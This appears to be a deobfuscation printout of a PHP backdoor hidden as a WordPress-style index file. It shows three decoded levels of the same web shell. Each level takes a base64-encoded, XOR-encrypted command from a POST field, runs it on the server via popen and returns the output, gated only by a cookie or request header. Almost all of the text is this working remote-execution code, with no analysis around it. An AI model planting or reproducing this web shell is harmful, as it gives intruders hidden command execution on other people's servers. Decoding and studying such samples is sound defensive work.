Decrypted code level 1:

if($_SERVER['REQUEST_METHOD'] === 'POST'){$l='GNU General Public License version 2 or later';$_s=$_SERVER;$_c=${'_COOKIE'};$_t=${'_POST'};$_n="base64_";$_d=$_n."decode";$_e=$_n."encode";$_p="popen";$_q="pclose";$_g="fread";if(!@$_c['x_accepted']&&!@$_s['HTTP_X_REQUESTED_WITH'])die('{"error":"auth"}');$c=@$_d($_t['task']);$r='';for($i=0;$i<strlen($c);$i++)$r.=$c[$i]^$l[$i%strlen($l)];$p=$_p($r.' 2>&1','r');$o='';while(!feof($p))$o.=$_g($p,8192);$_q($p);die(json_encode(['message'=>$_e($o?:'')]));}
// Silence is golden.

Decrypted code level 2:

if($_SERVER['REQUEST_METHOD'] === 'POST'){$l='GNU General Public License version 2 or later';$_s=$_SERVER;$_c=${'_COOKIE'};$_t=${'_POST'};$_d="base64_decode";$_e="base64_encode";if(!@$_c['x_accepted']&&!@$_s['HTTP_X_REQUESTED_WITH'])die('{"error":"auth"}');$c=@$_d($_t['task']);$r='';for($i=0;$i<strlen($c);$i++)$r.=$c[$i]^$l[$i%strlen($l)];$p="popen"($r.' 2>&1','r');$o='';while(!feof($p))$o.="fread"($p,8192);"pclose"($p);die(json_encode(['message'=>$_e($o?:'')]));}
// Silence is golden.

if($_SERVER['REQUEST_METHOD'] === 'POST'){$l='GNU General Public License version 2 or later';$_s=$_SERVER;$_c=${'_COOKIE'};$_t=${'_POST'};if(!@$_c['x_accepted']&&!@$_s['HTTP_X_REQUESTED_WITH'])die('{"error":"auth"}');$c=@"base64_decode"($_t['task']);$r='';for($i=0;$i<strlen($c);$i++)$r.=$c[$i]^$l[$i%strlen($l)];$p="popen"($r.' 2>&1','r');$o='';while(!feof($p))$o.="fread"($p,8192);"pclose"($p);die(json_encode(['message'=>"base64_encode"($o?:'')]));}
// Silence is golden.